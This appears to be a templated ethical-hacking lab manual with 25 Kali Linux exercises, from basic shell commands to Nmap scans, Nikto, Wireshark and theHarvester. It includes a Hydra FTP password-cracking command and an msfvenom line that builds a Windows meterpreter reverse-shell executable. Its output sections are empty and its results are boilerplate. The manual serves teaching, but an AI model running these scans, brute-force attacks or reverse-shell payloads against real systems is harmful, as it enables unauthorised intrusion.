

Experiment No: 1

Date: _____

Execution of Basic Linux Commands (rm, users, tree)

Aim:

To perform Execution of Basic Linux Commands (rm, users, tree).

Software Tools Required:

Kali Linux / Required Tools

Procedure:

1. Start the system and open Kali Linux.
2. Open the terminal window.
3. Execute the given commands step by step.
4. Observe the output generated.
5. Analyze the results.

Theory:

This experiment demonstrates practical concepts used in ethical hacking and system operations.

Command:

rm test.txt

users

tree

Output:

Result:

The basic Linux commands were successfully executed.

Experiment No: 2

Date: _____

Execution of File Viewing Commands (less, more, vi)

Aim:

To perform Execution of File Viewing Commands (less, more, vi).

Software Tools Required:

Kali Linux / Required Tools

Procedure:

1. Start the system and open Kali Linux.
2. Open the terminal window.
3. Execute the given commands step by step.
4. Observe the output generated.
5. Analyze the results.

Theory:

This experiment demonstrates practical concepts used in ethical hacking and system operations.

Command:

less file.txt

more file.txt

vi file.txt

Output:

Result:

File viewing commands were successfully executed.

Experiment No: 3

Date: _____

Execution of File Content Commands (tree, head, tail)

Aim:

To perform Execution of File Content Commands (tree, head, tail).

Software Tools Required:

Kali Linux / Required Tools

Procedure:

1. Start the system and open Kali Linux.
2. Open the terminal window.
3. Execute the given commands step by step.
4. Observe the output generated.
5. Analyze the results.

Theory:

This experiment demonstrates practical concepts used in ethical hacking and system operations.

Command:

tree

head file.txt

tail file.txt

Output:

Result:

File content commands were successfully executed.

Experiment No: 4

Date: _____

Execution of File and Directory Commands (ls, cat, mkdir)

Aim:

To perform Execution of File and Directory Commands (ls, cat, mkdir).

Software Tools Required:

Kali Linux / Required Tools

Procedure:

1. Start the system and open Kali Linux.
2. Open the terminal window.
3. Execute the given commands step by step.
4. Observe the output generated.
5. Analyze the results.

Theory:

This experiment demonstrates practical concepts used in ethical hacking and system operations.

Command:

ls

cat file.txt

mkdir test

Output:

Result:

File and directory commands were successfully executed.

Experiment No: 5

Date: _____

Execution of System Commands (uptime, date, mv)

Aim:

To perform Execution of System Commands (uptime, date, mv).

Software Tools Required:

Kali Linux / Required Tools

Procedure:

1. Start the system and open Kali Linux.
2. Open the terminal window.
3. Execute the given commands step by step.
4. Observe the output generated.
5. Analyze the results.

Theory:

This experiment demonstrates practical concepts used in ethical hacking and system operations.

Command:

uptime

date

mv file1 file2

Output:

Result:

System commands were successfully executed.

Execution of File Creation Commands (touch, pwd, wget)

Aim:

To perform Execution of File Creation Commands (touch, pwd, wget).

Software Tools Required:

Kali Linux / Required Tools

Procedure:

1. Start the system and open Kali Linux.
2. Open the terminal window.
3. Execute the given commands step by step.
4. Observe the output generated.
5. Analyze the results.

Theory:

This experiment demonstrates practical concepts used in ethical hacking and system operations.

Command:

touch file.txt

pwd

wget http://example.com

Output:

Result:

File creation commands were successfully executed.

Experiment No: 7

Date: _____

Execution of Navigation Commands (cd, cp, ls)

Aim:

To perform Execution of Navigation Commands (cd, cp, ls).

Software Tools Required:

Kali Linux / Required Tools

Procedure:

1. Start the system and open Kali Linux.
2. Open the terminal window.
3. Execute the given commands step by step.
4. Observe the output generated.
5. Analyze the results.

Theory:

This experiment demonstrates practical concepts used in ethical hacking and system operations.

Command:

cd test

cp file1 file2

ls

Output:

Result:

Navigation commands were successfully executed.

Experiment No: 8

Date: _____

Nmap Service Version Detection and OS Detection

Aim:

To perform Nmap Service Version Detection and OS Detection.

Software Tools Required:

Kali Linux / Required Tools

Procedure:

1. Start the system and open Kali Linux.
2. Open the terminal window.
3. Execute the given commands step by step.
4. Observe the output generated.
5. Analyze the results.

Theory:

This experiment demonstrates practical concepts used in ethical hacking and system operations.

Command:

```
nmap -sV 192.168.1.1
```

```
nmap -A 192.168.1.1
```

```
nmap -O 192.168.1.1
```

Output:

Result:

Services and OS were successfully detected.

Experiment No: 9

Date: _____

Nmap Timing and Performance Scan

Aim:

To perform Nmap Timing and Performance Scan.

Software Tools Required:

Kali Linux / Required Tools

Procedure:

1. Start the system and open Kali Linux.
2. Open the terminal window.
3. Execute the given commands step by step.
4. Observe the output generated.
5. Analyze the results.

Theory:

This experiment demonstrates practical concepts used in ethical hacking and system operations.

Command:

```
nmap -T2 192.168.1.1
```

```
nmap -T3 192.168.1.1
```

Output:

Result:

Nmap timing scans were successfully performed.

Experiment No: 10

Date: _____

Execution of System Monitoring Commands (free, sort, history)

Aim:

To perform Execution of System Monitoring Commands (free, sort, history).

Software Tools Required:

Kali Linux / Required Tools

Procedure:

1. Start the system and open Kali Linux.
2. Open the terminal window.
3. Execute the given commands step by step.
4. Observe the output generated.
5. Analyze the results.

Theory:

This experiment demonstrates practical concepts used in ethical hacking and system operations.

Command:

free

sort file.txt

history

Output:

Result:

System monitoring commands were successfully executed.

Nmap Speed Scanning Techniques

Aim:

To perform Nmap Speed Scanning Techniques.

Software Tools Required:

Kali Linux / Required Tools

Procedure:

1. Start the system and open Kali Linux.
2. Open the terminal window.
3. Execute the given commands step by step.
4. Observe the output generated.
5. Analyze the results.

Theory:

This experiment demonstrates practical concepts used in ethical hacking and system operations.

Command:

```
nmap -T4 192.168.1.1
```

```
nmap -T5 192.168.1.1
```

Output:

Result:

Nmap speed scans were successfully executed.

Experiment No: 12

Date: _____

Port Scanning using Nmap

Aim:

To perform Port Scanning using Nmap.

Software Tools Required:

Kali Linux / Required Tools

Procedure:

1. Start the system and open Kali Linux.
2. Open the terminal window.
3. Execute the given commands step by step.
4. Observe the output generated.
5. Analyze the results.

Theory:

This experiment demonstrates practical concepts used in ethical hacking and system operations.

Command:

```
nmap -sS 192.168.1.1
```

```
nmap -sU 192.168.1.1
```

Output:

Result:

Port scanning was successfully performed.

Experiment No: 13

Date: _____

Host Discovery using Nmap

Aim:

To perform Host Discovery using Nmap.

Software Tools Required:

Kali Linux / Required Tools

Procedure:

1. Start the system and open Kali Linux.
2. Open the terminal window.
3. Execute the given commands step by step.
4. Observe the output generated.
5. Analyze the results.

Theory:

This experiment demonstrates practical concepts used in ethical hacking and system operations.

Command:

```
nmap -sn 192.168.1.1
```

```
nmap -Pn 192.168.1.1
```

Output:

Result:

Host discovery was successfully performed.

Experiment No: 14

Date: _____

Password Cracking using Hydra Tool

Aim:

To perform Password Cracking using Hydra Tool.

Software Tools Required:

Kali Linux / Required Tools

Procedure:

1. Start the system and open Kali Linux.
2. Open the terminal window.
3. Execute the given commands step by step.
4. Observe the output generated.
5. Analyze the results.

Theory:

This experiment demonstrates practical concepts used in ethical hacking and system operations.

Command:

```
hydra -L user -P pass ftp://192.168.1.101 -V
```

Output:

Result:

Password was successfully cracked.

Experiment No: 15

Date: _____

Information Gathering using theHarvester

Aim:

To perform Information Gathering using theHarvester.

Software Tools Required:

Kali Linux / Required Tools

Procedure:

1. Start the system and open Kali Linux.
2. Open the terminal window.
3. Execute the given commands step by step.
4. Observe the output generated.
5. Analyze the results.

Theory:

This experiment demonstrates practical concepts used in ethical hacking and system operations.

Command:

```
theHarvester -d example.com -b google -l 100
```

Output:

Result:

Information gathering was successfully performed.

Experiment No: 16

Date: _____

Reconnaissance using Google and Whois

Aim:

To perform Reconnaissance using Google and Whois.

Software Tools Required:

Kali Linux / Required Tools

Procedure:

1. Start the system and open Kali Linux.
2. Open the terminal window.
3. Execute the given commands step by step.
4. Observe the output generated.
5. Analyze the results.

Theory:

This experiment demonstrates practical concepts used in ethical hacking and system operations.

Command:

whois example.com

Output:

Result:

Reconnaissance was successfully performed.

Execution of Windows Network Commands

Aim:

To perform Execution of Windows Network Commands.

Software Tools Required:

Kali Linux / Required Tools

Procedure:

1. Start the system and open Kali Linux.
2. Open the terminal window.
3. Execute the given commands step by step.
4. Observe the output generated.
5. Analyze the results.

Theory:

This experiment demonstrates practical concepts used in ethical hacking and system operations.

Command:

tracert google.com

ping google.com

ipconfig

netstat

Output:

Result:

Windows network commands were successfully executed.

Experiment No: 18

Date: _____

Vulnerability Analysis using Nikto

Aim:

To perform Vulnerability Analysis using Nikto.

Software Tools Required:

Kali Linux / Required Tools

Procedure:

1. Start the system and open Kali Linux.
2. Open the terminal window.
3. Execute the given commands step by step.
4. Observe the output generated.
5. Analyze the results.

Theory:

This experiment demonstrates practical concepts used in ethical hacking and system operations.

Command:

```
nikto -h example.com
```

Output:

Result:

Vulnerabilities were successfully identified.

Experiment No: 19

Date: _____

Network Traffic Analysis using Wireshark

Aim:

To perform Network Traffic Analysis using Wireshark.

Software Tools Required:

Kali Linux / Required Tools

Procedure:

1. Start the system and open Kali Linux.
2. Open the terminal window.
3. Execute the given commands step by step.
4. Observe the output generated.
5. Analyze the results.

Theory:

This experiment demonstrates practical concepts used in ethical hacking and system operations.

Command:

Apply filter http

Output:

Result:

Network traffic was successfully analyzed.

Experiment No: 20

Date: _____

Payload Generation using msfvenom

Aim:

To perform Payload Generation using msfvenom.

Software Tools Required:

Kali Linux / Required Tools

Procedure:

1. Start the system and open Kali Linux.
2. Open the terminal window.
3. Execute the given commands step by step.
4. Observe the output generated.
5. Analyze the results.

Theory:

This experiment demonstrates practical concepts used in ethical hacking and system operations.

Command:

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f exe > file.exe
```

Output:

Result:

Payload was successfully generated.

Experiment No: 21

Date: _____

Batch File Creation and Execution

Aim:

To perform Batch File Creation and Execution.

Software Tools Required:

Kali Linux / Required Tools

Procedure:

1. Start the system and open Kali Linux.
2. Open the terminal window.
3. Execute the given commands step by step.
4. Observe the output generated.
5. Analyze the results.

Theory:

This experiment demonstrates practical concepts used in ethical hacking and system operations.

Command:

```
@echo off
```

```
echo hello
```

```
pause
```

Output:

Result:

Batch file was successfully executed.

Experiment No: 22

Date: _____

Packet Analysis using Wireshark Tool

Aim:

To perform Packet Analysis using Wireshark Tool.

Software Tools Required:

Kali Linux / Required Tools

Procedure:

1. Start the system and open Kali Linux.
2. Open the terminal window.
3. Execute the given commands step by step.
4. Observe the output generated.
5. Analyze the results.

Theory:

This experiment demonstrates practical concepts used in ethical hacking and system operations.

Command:

tcp filter

udp filter

http filter

Output:

Result:

Packets were successfully analyzed.

Experiment No: 23

Date: _____

Advanced Port Scanning Techniques

Aim:

To perform Advanced Port Scanning Techniques.

Software Tools Required:

Kali Linux / Required Tools

Procedure:

1. Start the system and open Kali Linux.
2. Open the terminal window.
3. Execute the given commands step by step.
4. Observe the output generated.
5. Analyze the results.

Theory:

This experiment demonstrates practical concepts used in ethical hacking and system operations.

Command:

```
nmap -p- 192.168.1.1
```

```
nmap -F 192.168.1.1
```

Output:

Result:

Advanced port scanning was successfully performed.

Experiment No: 24

Date: _____

Advanced Nmap Timing and Performance Scan

Aim:

To perform Advanced Nmap Timing and Performance Scan.

Software Tools Required:

Kali Linux / Required Tools

Procedure:

1. Start the system and open Kali Linux.
2. Open the terminal window.
3. Execute the given commands step by step.
4. Observe the output generated.
5. Analyze the results.

Theory:

This experiment demonstrates practical concepts used in ethical hacking and system operations.

Command:

```
nmap -T4 -A 192.168.1.1
```

Output:

Result:

Advanced Nmap scan was successfully performed.

Experiment No: 25

Date: _____

Shell Programming (Basic Scripts)

Aim:

To perform Shell Programming (Basic Scripts).

Software Tools Required:

Kali Linux / Required Tools

Procedure:

1. Start the system and open Kali Linux.
2. Open the terminal window.
3. Execute the given commands step by step.
4. Observe the output generated.
5. Analyze the results.

Theory:

This experiment demonstrates practical concepts used in ethical hacking and system operations.

Command:

```
echo $((num*num))
```

Output:

Result:

Shell program was successfully executed.